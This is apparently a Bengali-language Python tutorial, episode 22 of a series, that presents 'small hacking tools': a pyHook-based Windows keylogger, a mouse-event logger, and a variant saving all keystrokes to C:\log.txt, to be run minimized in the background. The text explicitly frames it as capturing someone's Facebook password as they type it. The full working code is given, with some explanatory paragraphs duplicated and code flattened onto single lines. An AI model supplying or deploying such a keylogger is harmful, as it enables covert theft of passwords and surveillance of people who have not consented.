আজ পইথনের ২২ তম পর্বে আমি পাইথন দিয়ে কিছূ ছোটখাট হ্যাকিং টুলস তেরী করা শেখাব আপনাদের । তবে ভীত হবার কোন কারণ নেই । কারণ জিনিসটা খুবই সহজ ।আপনাকে শুধু কিছু কিছু মডিউল কমান্ড জানতে হবেই কাজের জন্য ।আমরা আজ pyHook মডিউল নিয়ে মূলত কাজ করব ।এছাড়ও কিছু মডিউল রয়েছে যেগুলো আপনারা দেখতে পাবেন । প্রথমে এইখান থেকে পাইথনের জন্য আপনার ভার্সন ও উউন্ডোজ অনুযায়ী pyWin32 ও pyHook মডিউলটা ডাউনলোড ও ইনস্টল করে নিন । তারপর আপনারা হ্যাকিং টুলস তৈরীর জন্য পুরোপুরি তৈরী । মূলত এটা অনেক উপায়ে তৈরী করা যায় । তবে আমি বর্তমানে আপনাদের কয়েকটি পদ্ধতি দেখাব ।আমি আপনাদের দেখাব একটা সিম্পল কীলগার কীভাবে তৈরী করা যায় । পরে আপনারা গুগলে সার্চ দিলে আরও অনেক টেকনিক পেয়ে যাবেন ।আমি এখানে পাইথন ২.৭ এর উপর লিখলাম । কারণ এই মডিউলটার ভার্সন পাইথন ৩.৩ তে একটু সমস্যা দেয় । প্রথমে আপনারা নীচের কোডগুলি টাইপ করুন ও রান করান ।
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| import pythoncom, pyHookdef OnKeyboardEvent(event): print “WindowName:”,event.WindowName print “Key:”, event.Key print “KeyID:”, event.KeyID print ”---“ return Truehm = pyHook.HookManager()hm.KeyDown = OnKeyboardEventhm.HookKeyboard()pythoncom.PumpMessages() |
এখানে মূলত আমরা প্রথমে ২ টি মডিউল ইমপোর্ট করেছি । এরপর একটা ফাংশন ডিক্লেয়ার করে তার মধ্যে কিছূ কোড লিখেছি । আসুন , কোডগুলোর অর্থ সম্পর্কে একটু ক্লিয়ার হই ।
print 'WindowName:',event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print 'Key:', event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print 'KeyID:', event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।
print 'WindowName:',event.WindowName :
এই কোডটার মূল কাজ হল কোন ইউজার কোন উইন্ডোতে কী টাইপ করছে সেটা প্রিন্ট করা । যেমন : কোন ব্যাক্তি যদি ফেসবুক . কম এ গিয়ে তার পাসওয়ার্ড টাইপ করে তাহলে এটা সেই মজিলা ফায়ার ফক্সের ফেসবুক পেজের নামটি প্রিন্ট করবে ।
print 'Key:', event.Key :
এই কোডটির কাজ হল ইউজার কোন কী টাইপ করছে সেটা প্রিন্ট করা ।যেমন , কেই যদি “H” কী টি টাইপ করে তবে এটা “H” প্রিন্ট করবে ।
print 'KeyID:', event.KeyID
এই কোডটার কাজ হল ইউজার যে কী টি টাইপ করছে সেটার আইডি খুজে বের করে প্রিন্ট করা ।
return True : এই কোডটা মূলত একটা কী ক্যাপচার করা হয়ে গেলে পরবর্তী কী টি ক্যাপচার করার জন্য প্রোগ্রাম টিকে এগিয়ে নিবে । অর্থাৎ একাধারে সব টাইপড কী ক্যাপচার করতে থাকবে ।
এরপর আমরা pyHook.HookManager কোডের মাধ্যমে একটা হুক ম্যানেজার তৈরী করেছি । এরপর উপরের তৈরী ফাংশন টিকে hm.KeyDown কোডের সাথে ইউজ করে সব কী ক্যাপচারের জন্য ফাংশন টিকে সেট করে দিয়েছি অর্থাৎ , কোন কী চাপই এটা ক্যাপচার করবে ।তারপর হুক সেটআপ করে দিয়ে pythoncom.PumpMessages() কোডের মাধ্যমে প্রোগ্রামটিকে সারা জীবনের জন্য চালিয়ে যেতে বলেছি । এভাবে আমরা একটা পাইথন কীলগার তৈরী করতে পারি । এর সাথে আপনারা আরও অনেক কোড এড করতে পারেন বিভিন্ন অতিরিক্ত তথ্য পাবার জন্য । আপনাদের সুবিধার্তে কোডগুলো আমি নীচে দিয়ে দিলাম যেগুলো আপনারা ফাংশনের ভিতর এড করতে পারেন ।
1
2
3
4
5
6
7
8
9
10
| print 'MessageName:',event.MessageName print 'Message:',event.Message print 'Time:',event.Time print 'Window:',event.Window print 'Ascii:', event.Ascii, chr(event.Ascii) print 'ScanCode:', event.ScanCode print 'Extended:', event.Extended print 'Injected:', event.Injected print 'Alt', event.Alt print 'Transition', event.Transition |
এখানে hm টা হল জাস্ট একটা ভ্যারিয়েবল । আপনারা ইচ্ছা করলে এটির অন্য যেকোন নাম দিতে পারেন ।
এগুলো ইউজ করে দেখুন , আপনারা কীবোর্ডের ক্যাপচারের আর ও অনেক তথ্য পাবেন । এবার প্রোগ্রামটি রান করে মিনিমাইজ করে রাখুন । ব্যাস , এটি নিজের মনে কাজ করে যাবে ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।
এটা হল একটা কীবোর্ডের উপর মনিটরিং প্রোগ্রাম । আপনরা একই ভাবে প্রতিটা মাউস ক্লিকের হিসাব রাখার জন্য নচের প্রোগ্রামটি ইউজ করতে পারেন ।
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import pythoncom, pyHookdef OnMouseEvent(event): # called when mouse events are received print 'MessageName:',event.MessageName print 'Message:',event.Message print 'Time:',event.Time print 'Window:',event.Window print 'WindowName:',event.WindowName print 'Position:',event.Position print 'Wheel:',event.Wheel print 'Injected:',event.Injected print '---' return Truehm = pyHook.HookManager()hm.MouseAll = OnMouseEventhm.HookMouse()pythoncom.PumpMessages() |
এখন ধরুন আপনি আপনার সকল কী্স্ট্রোক একটা নোটপ্যাডে টেক্সটআকারে সেভ রাখতে চান , তাহলে কী করতে হবে । উপায় আছে । সবাই নীচের কোডটি টাইপ করুন ।
1
2
3
4
5
6
7
8
9
10
11
| import pyHook, pythoncom, sys, loggingfile_log = "C:\\log.txt"def OnKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG, format="%(message)s") chr(event.Ascii) logging.log(10, chr(event.Ascii)) return Truehooks_manager = pyHook.HookManager()hooks_manager.KeyDown = OnKeyboardEventhooks_manager.HookKeyboard()pythoncom.PumpMessages() PumpMessages() |
এখানে মূলত আমরা pyHook, pythoncom, sys, logging নামের ৪ টি মডিউল ইমপোর্ট করেছি । তারপর সব লগ সেভ করার জন্য file_log নামের একটা ভ্যারিয়েবল নিয়ে যে প্যাথে আমাদের কী স্ট্রোকগুলো সেভ হবে সেটা দেখিয়ে দিযেছি । তারপর একটা ফাংশন ডিফাইন করে logging মডিউলটা ইউজ করে আমরা কোথায় আমাদের সব টেক্সট সেভ হবে সেটা বলে দিয়েছি ও কী ফরম্যাটে সেভ হবে ও কীভাবে সেভ হবে সেটাও বলে দিয়েছি ।তারপর আমরা ASCII ফরম্যাটের সব কীস্ট্রোক ক্যাপচার করার জন্য নীচের কোড দুটি ইউজ করেছি । তারপরের কাজ সবই উপরের প্রোগ্রামটার মতই । এবার এই প্রোগ্রামটা সেভ করে রান করুন ও মিনিমাইজ করে রাখুন । দেখুন , আপনার টেক্সট ফাইলে আপনার সব কীস্ট্রোক সেভ হয়ে আছে । অবশ্য আপনার দেওয়া প্যাথে একটি নোটপ্যাড ফাইল আগে থেকেই তৈরী করে রাখবেন । না হলে ইরর দেখাতে পারে ।
আর আপনার গুগলে সার্চ দিয়ে pyHook মডিউলটার উপর আরো পড়াশুনা করুন । আশা করি আরও নতুন কিছু শিখতে পারবেন ।
